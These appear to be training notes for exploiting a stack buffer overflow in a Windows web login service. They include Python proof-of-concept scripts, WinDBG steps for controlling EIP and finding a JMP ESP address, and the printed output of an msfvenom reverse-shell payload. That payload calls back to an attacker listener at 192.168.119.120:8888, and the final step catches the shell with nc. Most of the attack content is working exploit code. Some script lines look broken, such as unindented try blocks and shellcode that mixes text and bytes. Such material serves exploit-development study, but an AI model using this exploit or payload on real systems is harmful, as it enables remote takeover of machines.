1. First have a PoC ready. Should look like below. Ensure this can overwrite EIP (should be 41414141). Open WinDBG and attach to the process. Run the code on Kali.

     #!/usr/bin/python
     import socket
     import sys
    
     try:
     server = "192.168.1.1" # host
     port = 80
     size = 800
     inputBuffer = b"A" * size
     content = b"username=" + inputBuffer + b"&password=A"
    
     buffer = b"POST /login HTTP/1.1\r\n"
     buffer += b"Host: " + server.encode() + b"\r\n"
     buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
     buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
     buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
     buffer += b"Referer: http://10.11.0.22/login\r\n"
     buffer += b"Connection: close\r\n"
     buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
     buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
     buffer += b"\r\n"
     buffer += content
    
     print("Sending evil buffer...")
     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect((server, port))
     s.send(buffer)
     s.close()
        
     print("Done!")
        
     except socket.error:
     print("Could not connect!")
    
  2. Run msf-pattern_create -l 800 where 800 should be longer or same than the crash length to identify where it crash. Comment the previous inputBuffer in the Python PoC and use this instead.
  3. Check what is in EIP in WinDBG, and then use msf-pattern_offset -l 800 -q EIPVALUE to get the offset.
  4. To ensure that the address is correct, can do something like this if the EIP offset is 780:

     ...
     filler = b"A" * 780 # EIP Offset
     eip = b"B" * 4 # Value that should be for EIP Address
     buf = b"C" * 16 # Check to see where this goes
     inputBuffer = filler + eip + buf
     ...
    
  5. If the EIP address is now 42424242, then the offset address is correct.
  6. In WinDBG, use r to check the registers (usually ESP address), then use dds esp L3 and dds esp -10 L8 to see if the ESP register points to Cs (and also check which set of C, it might not be the first). If yes it means we can use ESP to host shellcode.
  7. If only a few bytes of Cs are available there, need to ensure that it has enough space. Can use D this time to find out if have enough space for shellcode (800 to 1500 bytes will be sufficient).

     #!/usr/bin/python
     import socket
     import sys
    
     try:
     server = sys.argv[1]
     port = 80
     size = 800
        
     filler = b"A" * 780
     eip = b"B" * 4
     offset = b"C" * 4
     shellcode = b"D" * (1500 - len(filler) - len(eip) - len(offset))
     inputBuffer = filler + eip + offset + shellcode
     content = b"username=" + inputBuffer + b"&password=A"
     ...
    
  8. Run this again and should notice that the ESP now points correctly to D (44444444), and not any front or after. (Use r and dds esp - 8 L7).
  9. To check how much space you have, find where does it end. Do a trial and error (dds esp+100 L8,dds esp+200 L8,… in this case it is dds esp+2c0 L4). Use that line that no longer has D (44444444) to minus the ESP start address with ? 00567724 - 0056745c.
  10. Check for bad characters by replacing D with all hex except 0x00:

    #!/usr/bin/python
    import socket
    import sys
    
    try:
    server = sys.argv[1]
    port = 80
    size = 800
        
    filler = b"A" * 780
    eip = b"B" * 4
    offset = b"C" * 4
    badchars = (
        b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
        b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
        b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
        b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
        b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
        b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
        b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
        b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
        b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
        b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
        b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
        b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
        b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
        b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
        b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
        b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
    # bad chars: \x00,
    #shellcode = "D" * (1500 - len(filler) - len(eip) - len(offset))
    inputBuffer = filler + eip + offset + badchars
    ...
    
  11. Now retrigger and check db esp - 10 L20 to see which characters are truncated or missing. Remove that specific character and try again. Do this until all bad characters are removed.
  12. Next we need to find an address that points to ESP (cannot be pointing to the address number directly because stack address changes from time to time). Usually this can be done by finding a JMP ESP instruction. This address of instruction must be static, and also not have any bad characters.
  13. This can be done by using ProcessHacker. Launch as admin then locate the executable. Double click on it then Properties -> General -> Mitigation Policies will tell you if there are any protections like ASLR and DEP. If click on Modules tab can see the DLLs being loaded. From here need to find a DLL that has address range with no bad characters.
  14. In Kali, run msf-nasm_shell, then jmp esp to get the instruction for JMP ESP (it is FFE4).
  15. In WinDBG, run lm m libspp, where libspp is the dll chosen just now, and you will get start and end address. Use s -b 10000000 10223000 0xff 0xe4 (the first 2 is start and end address, and ff e4 is JMP ESP). It should reveal an address. Make sure the address doesnt have bad characters. Use u 10090c83 to make sure the address is JMP ESP.
  16. Can now update the code to include this address (endian, so need reverse order):

    #!/usr/bin/python
    import socket
    import sys
    
    try:
    server = sys.argv[1]
    port = 80
    size = 800
        
    filler = b"A" * 780
    eip = b"\x83\x0c\x09\x10" # 0x10090c83 - JMP ESP
    offset = b"C" * 4
    shellcode = "D" * (1500 - len(filler) - len(eip) - len(offset))
    inputBuffer = filler + eip + offset + shellcode
    content = b"username=" + inputBuffer + b"&password=A"
    ...
    
  17. To ensure this is working correctly, use a breakpoint on the JMP ESP instruction (0x10090c83) by using bp 10090c83. bl to confirm it, g to continue execution then once it hits breakpoint, run t and dc eip L4 to ensure EIP is overwritten with D.
  18. Use msfvenom msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=8888 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" with the -b being bad characters to generate shellcode. Ensure that the size is smaller than your shellcode available size.
  19. Add NOP slides so that the CPU will slide through the NOPs to reach shellcode. For Python3, remove the word bytearray and add b infront each line after shellcode:

    ...
    filler = b"A" * 780
    eip = b"\x83\x0c\x09\x10" # 0x10090c83 - JMP ESP
    offset = b"C" * 4
    nops = b"\x90" * 10
    shellcode = bytearray(
    "\xdd\xc4\xba\x6d\xdc\x1e\xf1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
    "\x52\x31\x56\x17\x83\xee\xfc\x03\x3b\xcf\xfc\x04\x3f\x07\x82"
    "\xe7\xbf\xd8\xe3\x6e\x5a\xe9\x23\x14\x2f\x5a\x94\x5e\x7d\x57"
    "\x5f\x32\x95\xec\x2d\x9b\x9a\x45\x9b\xfd\x95\x56\xb0\x3e\xb4"
    "\xd4\xcb\x12\x16\xe4\x03\x67\x57\x21\x79\x8a\x05\xfa\xf5\x39"
    "\xb9\x8f\x40\x82\x32\xc3\x45\x82\xa7\x94\x64\xa3\x76\xae\x3e"
    "\x63\x79\x63\x4b\x2a\x61\x60\x76\xe4\x1a\x52\x0c\xf7\xca\xaa"
    "\xed\x54\x33\x03\x1c\xa4\x74\xa4\xff\xd3\x8c\xd6\x82\xe3\x4b"
    "\xa4\x58\x61\x4f\x0e\x2a\xd1\xab\xae\xff\x84\x38\xbc\xb4\xc3"
    "\x66\xa1\x4b\x07\x1d\xdd\xc0\xa6\xf1\x57\x92\x8c\xd5\x3c\x40"
    "\xac\x4c\x99\x27\xd1\x8e\x42\x97\x77\xc5\x6f\xcc\x05\x84\xe7"
    "\x21\x24\x36\xf8\x2d\x3f\x45\xca\xf2\xeb\xc1\x66\x7a\x32\x16"
    "\x88\x51\x82\x88\x77\x5a\xf3\x81\xb3\x0e\xa3\xb9\x12\x2f\x28"
    "\x39\x9a\xfa\xff\x69\x34\x55\x40\xd9\xf4\x05\x28\x33\xfb\x7a"
    "\x48\x3c\xd1\x12\xe3\xc7\xb2\xdc\x5c\xb0\x3a\xb5\x9e\x3e\xba"
    "\xfe\x16\xd8\xd6\x10\x7f\x73\x4f\x88\xda\x0f\xee\x55\xf1\x6a"
    "\x30\xdd\xf6\x8b\xff\x16\x72\x9f\x68\xd7\xc9\xfd\x3f\xe8\xe7"
    "\x69\xa3\x7b\x6c\x69\xaa\x67\x3b\x3e\xfb\x56\x32\xaa\x11\xc0"
    "\xec\xc8\xeb\x94\xd7\x48\x30\x65\xd9\x51\xb5\xd1\xfd\x41\x03"
    "\xd9\xb9\x35\xdb\x8c\x17\xe3\x9d\x66\xd6\x5d\x74\xd4\xb0\x09"
    "\x01\x16\x03\x4f\x0e\x73\xf5\xaf\xbf\x2a\x40\xd0\x70\xbb\x44"
    "\xa9\x6c\x5b\xaa\x60\x35\x6b\xe1\x28\x1c\xe4\xac\xb9\x1c\x69"
    "\x4f\x14\x62\x94\xcc\x9c\x1b\x63\xcc\xd5\x1e\x2f\x4a\x06\x53"
    "\x20\x3f\x28\xc0\x41\x6a")
    shellcode+= "D" * (1500 - len(filler) - len(eip) - len(offset) - len(shellcode))
    inputBuffer = filler + eip + offset + nops + shellcode
    ...
    
  20. Run sudo nc -lvp 8888 on Kali, send the exploit code and you should receive shell.